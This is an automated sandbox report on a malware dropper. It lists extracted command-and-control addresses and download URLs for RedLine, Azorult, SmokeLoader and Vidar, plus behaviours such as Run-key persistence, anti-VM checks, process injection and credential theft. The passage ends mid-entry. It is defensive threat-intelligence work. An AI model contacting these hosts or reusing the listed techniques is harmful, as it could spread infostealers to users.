Analysis
-
max time kernel
1959s -
max time network
2192s -
submitted
01-01-1970 00:00
Static task
static1
General
-
Target
Password_is_5432764372___BitlyWindows10t.exe
-
Size
15.2MB
-
MD5
da5aeb58d5eb8c855ae1edd303ae3e5c
-
SHA1
737d43206e98464433e27ee5981040d2904bcd42
-
SHA256
4a72c2884235efd7f6428699d2f7750590eb34154ab2bd05a1aeb92a4a0e2352
-
SHA512
b0a000ad6cd340aa2b8af9195276f772e5be16c574a3344e23964856c29e0fda734c703d461f9f3c985dd248538c42e45181efdabca10bcea649b79c1c685ac6
Malware Config
Extracted
redline
media26
91.121.67.60:23325
Extracted
redline
chris
194.104.136.5:46013
Extracted
azorult
http://kvaka.li/1210776429.php
Extracted
smokeloader
2020
http://brandyjaggers.com/upload/
http://andbal.com/upload/
http://alotofquotes.com/upload/
http://szpnc.cn/upload/
http://uggeboots.com/upload/
http://100klv.com/upload/
http://rapmusic.at/upload/
Extracted
vidar
41.6
933
https://mas.to/@lilocc
-
profile_id
933
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
rundll32.exerundll32.exerundll32.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1628 1440 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 208 1440 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1056 1440 rundll32.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/4716-302-0x0000000000418D26-mapping.dmp family_redline behavioral1/memory/4692-300-0x0000000000418D32-mapping.dmp family_redline behavioral1/memory/4716-298-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/4692-297-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars Payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed09db0d52c38.exe family_socelars C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed09db0d52c38.exe family_socelars -
Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
Processes:
WerFault.exeWerFault.exedescription pid process target process PID 760 created 4452 760 WerFault.exe run.exe PID 7032 created 3136 7032 WerFault.exe Wed09cfb2f9758281d8.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
Processes:
resource yara_rule behavioral1/memory/5208-569-0x0000000002D40000-0x0000000002E8A000-memory.dmp family_vidar behavioral1/memory/5208-591-0x0000000000400000-0x0000000002C15000-memory.dmp family_vidar -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\libcurlpp.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS03D09C37\libcurlpp.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\libstdc++-6.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS03D09C37\libstdc++-6.dll aspack_v212_v242 C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\libcurl.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS03D09C37\libcurl.dll aspack_v212_v242 \Users\Admin\AppData\Local\Temp\7zS03D09C37\libcurl.dll aspack_v212_v242 -
Blocklisted process makes network request 64 IoCs
Processes:
cmd.exerundll32.exeflow pid process 118 2424 cmd.exe 121 2424 cmd.exe 130 2424 cmd.exe 131 2424 cmd.exe 132 2424 cmd.exe 133 2424 cmd.exe 135 1056 rundll32.exe 182 2424 cmd.exe 301 2424 cmd.exe 302 2424 cmd.exe 133 2424 cmd.exe 305 2424 cmd.exe 307 2424 cmd.exe 309 2424 cmd.exe 312 2424 cmd.exe 327 2424 cmd.exe 328 2424 cmd.exe 330 2424 cmd.exe 337 2424 cmd.exe 338 2424 cmd.exe 341 2424 cmd.exe 342 2424 cmd.exe 343 2424 cmd.exe 344 2424 cmd.exe 345 2424 cmd.exe 346 2424 cmd.exe 347 2424 cmd.exe 348 2424 cmd.exe 349 2424 cmd.exe 353 2424 cmd.exe 354 2424 cmd.exe 355 2424 cmd.exe 356 2424 cmd.exe 358 2424 cmd.exe 359 2424 cmd.exe 360 2424 cmd.exe 363 2424 cmd.exe 364 2424 cmd.exe 365 2424 cmd.exe 366 2424 cmd.exe 370 2424 cmd.exe 371 2424 cmd.exe 372 2424 cmd.exe 373 2424 cmd.exe 375 2424 cmd.exe 376 2424 cmd.exe 377 2424 cmd.exe 378 2424 cmd.exe 379 2424 cmd.exe 380 2424 cmd.exe 381 2424 cmd.exe 382 2424 cmd.exe 383 2424 cmd.exe 384 2424 cmd.exe 385 2424 cmd.exe 386 2424 cmd.exe 387 2424 cmd.exe 388 2424 cmd.exe 389 2424 cmd.exe 390 2424 cmd.exe 391 2424 cmd.exe 392 2424 cmd.exe 393 2424 cmd.exe 394 2424 cmd.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 5 IoCs
Processes:
DYbALA.exeDYbALA.execmd.exedescription ioc process File opened for modification C:\Windows\system32\drivers\etc\hosts DYbALA.exe File opened for modification C:\Windows\system32\drivers\etc\hosts DYbALA.exe File opened for modification C:\Windows\System32\drivers\SETA8E.tmp cmd.exe File created C:\Windows\System32\drivers\SETA8E.tmp cmd.exe File opened for modification C:\Windows\System32\drivers\tap0901.sys cmd.exe -
Executes dropped EXE 64 IoCs
Processes:
CrowdInspect64.exeSoftware-update-patc_649073113.exeSoftware-update-patc_649073113.tmpDolore.exesetup_x86_x64_install.exePsglobal59_5_9_0_serial_keygen.exesetup_installer.exesetup_install.exeWed09f257bb7877d00b2.exeWed0901eb1dae126e32.exeWed09c42cad92c20f79.exeWed09e95ff6b5.exeWed096a1bff61.exeWed09d8d6edfaff2ac.exepostback.exeWed09b3a5ca1a712d390.exeWed09db0d52c38.exekeygen-pr.exeWed09cfb2f9758281d8.exekeygen-step-1.exeWed09977fdc12334.exeWed094c47c32b.exeConhost.exeWed09b2a8bc4f16cb.exeWed09abf83d9c2.exeWed09d27135e5a8b3b.tmpkeygen-step-6.exekey.exeWed09d27135e5a8b3b.exekeygen-step-3.exeWed09d27135e5a8b3b.tmpWed0901eb1dae126e32.exeWed0971f17486f8.exeWed09abf83d9c2.exekey.exekeygen-step-4.exerun.exe7tSafS6VO7T7Bj0IzX23mNZA.exeCrack.exeLzmwAqmV.exeXYB0bVL96aEKhA.exEDYbALA.exe7021540.exeinst1.exe2482716.exeSoft1WW02.exe7119950.exejg1_1faf.exe4.exe5.exesearch_hyperfs_206.exesetup.exewangting-game.exeCalculator Installation.exe10.exeChrome5.exeWinHoster.exe3436435.exe2564110.exe1279925.exeLzmwAqmV.exe1437001.exe3633257.exepid process 916 CrowdInspect64.exe 1604 Software-update-patc_649073113.exe 1680 Software-update-patc_649073113.tmp 2940 Dolore.exe 2332 setup_x86_x64_install.exe 3792 Psglobal59_5_9_0_serial_keygen.exe 3376 setup_installer.exe 1740 setup_install.exe 2992 Wed09f257bb7877d00b2.exe 1936 Wed0901eb1dae126e32.exe 1444 Wed09c42cad92c20f79.exe 2140 Wed09e95ff6b5.exe 1056 Wed096a1bff61.exe 2424 Wed09d8d6edfaff2ac.exe 2144 postback.exe 2344 Wed09b3a5ca1a712d390.exe 3548 Wed09db0d52c38.exe 1612 keygen-pr.exe 3136 Wed09cfb2f9758281d8.exe 4284 keygen-step-1.exe 4300 Wed09977fdc12334.exe 4312 Wed094c47c32b.exe 4340 Conhost.exe 4512 Wed09b2a8bc4f16cb.exe 4556 Wed09abf83d9c2.exe 4680 Wed09d27135e5a8b3b.tmp 4756 keygen-step-6.exe 4772 key.exe 4888 Wed09d27135e5a8b3b.exe 5020 keygen-step-3.exe 5032 Wed09d27135e5a8b3b.tmp 4692 Wed0901eb1dae126e32.exe 4716 Wed0971f17486f8.exe 1284 Wed09abf83d9c2.exe 5056 key.exe 4376 keygen-step-4.exe 4452 run.exe 3080 7tSafS6VO7T7Bj0IzX23mNZA.exe 4952 Crack.exe 2144 postback.exe 4728 LzmwAqmV.exe 4180 XYB0bVL96aEKhA.exE 676 DYbALA.exe 1364 7021540.exe 4408 inst1.exe 5152 2482716.exe 5208 Soft1WW02.exe 5272 7119950.exe 5296 jg1_1faf.exe 5320 4.exe 5440 5.exe 5624 search_hyperfs_206.exe 5728 setup.exe 5820 wangting-game.exe 5928 Calculator Installation.exe 6020 10.exe 6104 Chrome5.exe 5536 WinHoster.exe 2944 3436435.exe 5872 2564110.exe 3792 1279925.exe 5024 LzmwAqmV.exe 6032 1437001.exe 3892 3633257.exe -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
Be9XFdtjiwZyLI9WjDsmienk.exeSHYnBZdZoq4bJiIUgku_9n56.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Be9XFdtjiwZyLI9WjDsmienk.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Be9XFdtjiwZyLI9WjDsmienk.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion SHYnBZdZoq4bJiIUgku_9n56.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion SHYnBZdZoq4bJiIUgku_9n56.exe -
Checks computer location settings 2 TTPs 7 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Calculator.exeCalculator.exeCalculator.exe7tSafS6VO7T7Bj0IzX23mNZA.execmd.exelb7f2M9u88acwcmne7zFtnir.exemt8PKpgSrvPI6tl97_jOGNd2.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Calculator.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Calculator.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation Calculator.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation 7tSafS6VO7T7Bj0IzX23mNZA.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation lb7f2M9u88acwcmne7zFtnir.exe Key value queried \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Control Panel\International\Geo\Nation mt8PKpgSrvPI6tl97_jOGNd2.exe -
Loads dropped DLL 64 IoCs
Processes:
Software-update-patc_649073113.tmpsetup_install.exeWed09d27135e5a8b3b.tmpWed09d27135e5a8b3b.tmpCalculator Installation.exerundll32.exesrlT0HOPwYSugJmNsy5n.exevpn.tmpmsiexec.exemt8PKpgSrvPI6tl97_jOGNd2.exemsiexec.exeMsiExec.exeNahybacosha.exeD2B2.exeMsiExec.exesetup.exe8rknjJZgHCZpB3_9rRRXaCTP.exeWW4sA1wrJ90B5Ype_fT7KQHo.tmplJJm_7OocM3LKQ0WJcT08yXV.exeCzvriR3OKzht_uSr2xzsy5fM.tmpsetup.exepid process 1680 Software-update-patc_649073113.tmp 1740 setup_install.exe 1740 setup_install.exe 1740 setup_install.exe 1740 setup_install.exe 1740 setup_install.exe 1740 setup_install.exe 4680 Wed09d27135e5a8b3b.tmp 5032 Wed09d27135e5a8b3b.tmp 5928 Calculator Installation.exe 5928 Calculator Installation.exe 4872 rundll32.exe 6636 srlT0HOPwYSugJmNsy5n.exe 4812 vpn.tmp 4812 vpn.tmp 7156 msiexec.exe 4812 vpn.tmp 4812 vpn.tmp 4812 vpn.tmp 4812 vpn.tmp 4812 vpn.tmp 4812 vpn.tmp 4828 mt8PKpgSrvPI6tl97_jOGNd2.exe 8084 msiexec.exe 8084 msiexec.exe 3036 MsiExec.exe 3036 MsiExec.exe 3020 Nahybacosha.exe 5928 Calculator Installation.exe 6164 D2B2.exe 5928 Calculator Installation.exe 5928 Calculator Installation.exe 7536 MsiExec.exe 7536 MsiExec.exe 7628 setup.exe 7628 setup.exe 7536 MsiExec.exe 7536 MsiExec.exe 7536 MsiExec.exe 7536 MsiExec.exe 4152 8rknjJZgHCZpB3_9rRRXaCTP.exe 4152 8rknjJZgHCZpB3_9rRRXaCTP.exe 7688 WW4sA1wrJ90B5Ype_fT7KQHo.tmp 7536 MsiExec.exe 7536 MsiExec.exe 7536 MsiExec.exe 7464 lJJm_7OocM3LKQ0WJcT08yXV.exe 7464 lJJm_7OocM3LKQ0WJcT08yXV.exe 7464 lJJm_7OocM3LKQ0WJcT08yXV.exe 7464 lJJm_7OocM3LKQ0WJcT08yXV.exe 7464 lJJm_7OocM3LKQ0WJcT08yXV.exe 6408 CzvriR3OKzht_uSr2xzsy5fM.tmp 7464 lJJm_7OocM3LKQ0WJcT08yXV.exe 7464 lJJm_7OocM3LKQ0WJcT08yXV.exe 7464 lJJm_7OocM3LKQ0WJcT08yXV.exe 6076 setup.exe 6076 setup.exe 4152 8rknjJZgHCZpB3_9rRRXaCTP.exe 4152 8rknjJZgHCZpB3_9rRRXaCTP.exe 4152 8rknjJZgHCZpB3_9rRRXaCTP.exe 4152 8rknjJZgHCZpB3_9rRRXaCTP.exe 7536 MsiExec.exe 4152 8rknjJZgHCZpB3_9rRRXaCTP.exe 4152 8rknjJZgHCZpB3_9rRRXaCTP.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
Processes:
ZHefyshowyvi.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts ZHefyshowyvi.exe -
Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
Processes:
ZHefyshowyvi.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook ZHefyshowyvi.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 10 IoCs
Processes:
n5v5rXBtVfUwFazL5gcyH5nd.exeDYbALA.exesetup.exesetup.exejg1_1faf.exesetup.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" n5v5rXBtVfUwFazL5gcyH5nd.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Windows NT\\Malykaedudi.exe\"" DYbALA.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run setup.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --iUSIg" setup.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run setup.exe Set value (str) \REGISTRY\USER\S-1-5-21-941723256-3451054534-3089625102-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" jg1_1faf.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce n5v5rXBtVfUwFazL5gcyH5nd.exe Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run setup.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --iUSIg" setup.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --iUSIg" setup.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
md1_1eaf.exejg1_1faf.exeAltrove.exe.comBe9XFdtjiwZyLI9WjDsmienk.exeSHYnBZdZoq4bJiIUgku_9n56.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA md1_1eaf.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA jg1_1faf.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Altrove.exe.com Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Be9XFdtjiwZyLI9WjDsmienk.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA SHYnBZdZoq4bJiIUgku_9n56.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
srlT0HOPwYSugJmNsy5n.exemsiexec.exedescription ioc process File opened (read-only) \??\Y: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\R: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\S: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\T: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\X: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\G: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\W: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\Z: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\J: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\P: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\U: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\F: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\H: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\L: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\Q: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\I: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\K: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\E: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\M: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\N: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\O: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\B: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\V: srlT0HOPwYSugJmNsy5n.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\N: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 19 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 278 freegeoip.app 288 freegeoip.app 306 ipinfo.io 775 ipinfo.io 981 ipinfo.io 95 ip-api.com 980 ipinfo.io 982 ipinfo.io 631 ipinfo.io 838 ipinfo.io 282 freegeoip.app 307 ipinfo.io 316 ipinfo.io 569 ipinfo.io 571 ipinfo.io 632 ipinfo.io 777 ipinfo.io 842 ipinfo.io 271 freegeoip.app -
Drops file in System32 directory 31 IoCs
Processes:
svchost.exeDrvInst.exesvchost.exetapinstall.execmd.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\82CB34DD3343FE727DF8890D352E0D8F svchost.exe File opened for modification C:\Windows\System32\CatRoot2\dberr.txt DrvInst.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent BB301DEE32E504A7 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\82CB34DD3343FE727DF8890D352E0D8F svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 svchost.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{2e108dcd-9846-6044-814b-c019ec73007c}\tap0901.cat DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\tap0901.sys DrvInst.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 svchost.exe File created C:\Windows\System32\DriverStore\drvstore.tmp DrvInst.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27 svchost.exe File created C:\Windows\System32\DriverStore\Temp\{2e108dcd-9846-6044-814b-c019ec73007c}\SETFA53.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{2e108dcd-9846-6044-814b-c019ec73007c}\SETFA54.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{2e108dcd-9846-6044-814b-c019ec73007c}\tap0901.sys DrvInst.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\686AD3B12FDB68487AAEA92D0A823EB3 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27 svchost.exe File created C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.PNF tapinstall.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{2e108dcd-9846-6044-814b-c019ec73007c}\SETFA53.tmp DrvInst.exe File created C:\Windows\System32\DriverStore\Temp\{2e108dcd-9846-6044-814b-c019ec73007c}\SETFA54.tmp DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\tap0901.cat DrvInst.exe File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent B7BB47963CC4130A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File opened for modification C:\Windows\System32\Tasks\PowerControl HR svchost.exe File opened for modification C:\Windows\System32\Tasks\sqtvvs.exe svchost.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{2e108dcd-9846-6044-814b-c019ec73007c}\oemvista.inf DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.inf DrvInst.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{2e108dcd-9846-6044-814b-c019ec73007c} DrvInst.exe File created C:\Windows\System32\DriverStore\FileRepository\oemvista.inf_amd64_a572b7f20c402d28\oemvista.PNF cmd.exe File opened for modification C:\Windows\System32\Tasks\PowerControl LG svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\686AD3B12FDB68487AAEA92D0A823EB3 svchost.exe File opened for modification C:\Windows\System32\DriverStore\Temp\{2e108dcd-9846-6044-814b-c019ec73007c}\SETFA42.tmp DrvInst.exe File created C:\Windows\System32\DriverStore\Temp\{2e108dcd-9846-6044-814b-c019ec73007c}\SETFA42.tmp DrvInst.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
Processes:
Be9XFdtjiwZyLI9WjDsmienk.exeSHYnBZdZoq4bJiIUgku_9n56.exemask_svc.exepid process 4868 Be9XFdtjiwZyLI9WjDsmienk.exe 7680 SHYnBZdZoq4bJiIUgku_9n56.exe 9704 mask_svc.exe -
Suspicious use of SetThreadContext 12 IoCs
Processes:
Wed0901eb1dae126e32.exepostback.exekey.exerun.exesvchost.exe2Vt7PNmo61KljYvoSu3.exe3633257.exe9t_XgksU4Dzwi6egFQDvx1fp.exehAsi4SkWff9wB27krZcQwiFM.exeFCo5i_wxm1RQVTWzj9BT6Y_a.exeraserver.exe6C84.exedescription pid process target process PID 1936 set thread context of 4692 1936 Wed0901eb1dae126e32.exe Wed0901eb1dae126e32.exe PID 2144 set thread context of 4716 2144 postback.exe Wed0971f17486f8.exe PID 4772 set thread context of 5056 4772 key.exe key.exe PID 4452 set thread context of 644 4452 run.exe AppLaunch.exe PID 2580 set thread context of 6388 2580 svchost.exe svchost.exe PID 6336 set thread context of 6456 6336 2Vt7PNmo61KljYvoSu3.exe 2Vt7PNmo61KljYvoSu3.exe PID 3892 set thread context of 7056 3892 3633257.exe AppLaunch.exe PID 5052 set thread context of 2960 5052 9t_XgksU4Dzwi6egFQDvx1fp.exe Explorer.EXE PID 5700 set thread context of 7976 5700 hAsi4SkWff9wB27krZcQwiFM.exe hAsi4SkWff9wB27krZcQwiFM.exe PID 7340 set thread context of 8172 7340 FCo5i_wxm1RQVTWzj9BT6Y_a.exe AppLaunch.exe PID 7512 set thread context of 2960 7512 raserver.exe Explorer.EXE PID 4576 set thread context of 4948 4576 6C84.exe 6C84.exe -
autoit_exe 2 IoCs
AutoIT scripts compiled to PE executables.
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed09e95ff6b5.exe autoit_exe C:\Users\Admin\AppData\Local\Temp\7zS03D09C37\Wed09e95ff6b5.exe autoit_exe -
Drops file in Program Files directory 64 IoCs
Processes:
vpn.tmpSoftware-update-patc_649073113.tmpWed09d27135e5a8b3b.tmpdrBU9VmRknQ_vIbycQ1TRJja.exejg1_1faf.exeaUWn94KiBw4hRviTZDKtkVqK.exeDYbALA.exedescription ioc process File created C:\Program Files (x86)\MaskVPN\is-6IC6M.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-D4SAK.tmp vpn.tmp File created C:\Program Files (x86)\Dignissimos\quia\is-H9TPA.tmp Software-update-patc_649073113.tmp File created C:\Program Files (x86)\FarLabUninstaller\unins000.dat Wed09d27135e5a8b3b.tmp File created C:\Program Files (x86)\MaskVPN\is-QUDJM.tmp vpn.tmp File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini drBU9VmRknQ_vIbycQ1TRJja.exe File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-H80V4.tmp vpn.tmp File opened for modification C:\Program Files (x86)\MaskVPN\unins000.dat vpn.tmp File opened for modification C:\Program Files (x86)\Company\NewProduct\d jg1_1faf.exe File created C:\Program Files (x86)\MaskVPN\is-JIRUL.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-DHECP.tmp vpn.tmp File created C:\Program Files (x86)\FarLabUninstaller\is-JNBVI.tmp Wed09d27135e5a8b3b.tmp File created C:\Program Files (x86)\Dignissimos\quia\is-JAEIN.tmp Software-update-patc_649073113.tmp File opened for modification C:\Program Files (x86)\FarLabUninstaller\unins000.dat Wed09d27135e5a8b3b.tmp File created C:\Program Files (x86)\MaskVPN\is-2V24K.tmp vpn.tmp File created C:\Program Files (x86)\MaskVPN\is-PJFMC.tmp vpn.tmp File opened for modification C:\Program Files (x86)\Dignissimos\unins000.dat Software-update-patc_649073113.tmp File created C:\Program Files (x86)\Dignissimos\is-PSHAJ.tmp Software-update-patc_649073113.tmp File created C:\Program Files (x86)\Dignissimos\aut\is-JES25.tmp Software-update-patc_649073113.tmp File created C:\Program Files (x86)\MaskVPN\driver\winxp32\is-NAF5L.tmp vpn.tmp File created C:\Program Files (x86)\Dignissimos\aut\is-PF6C9.tmp Software-update-patc_649073113.tmp File created C:\Program Files (x86)\Dignissimos\officia\is-M5MPJ.tmp Software-update-patc_649073113.tmp File created C:\Program Files (x86)\Dignissimos\officia\is-23CP2.tmp Software-update-patc_649073113.tmp File opened for modification C:\Program Files (x86)\MaskVPN\driver\winxp64\devcon.exe vpn.tmp File created C:\Program Files (x86)\MaskVPN\driver\win732\is-BM3RC.tmp vpn.tmp File created C:\Program Files 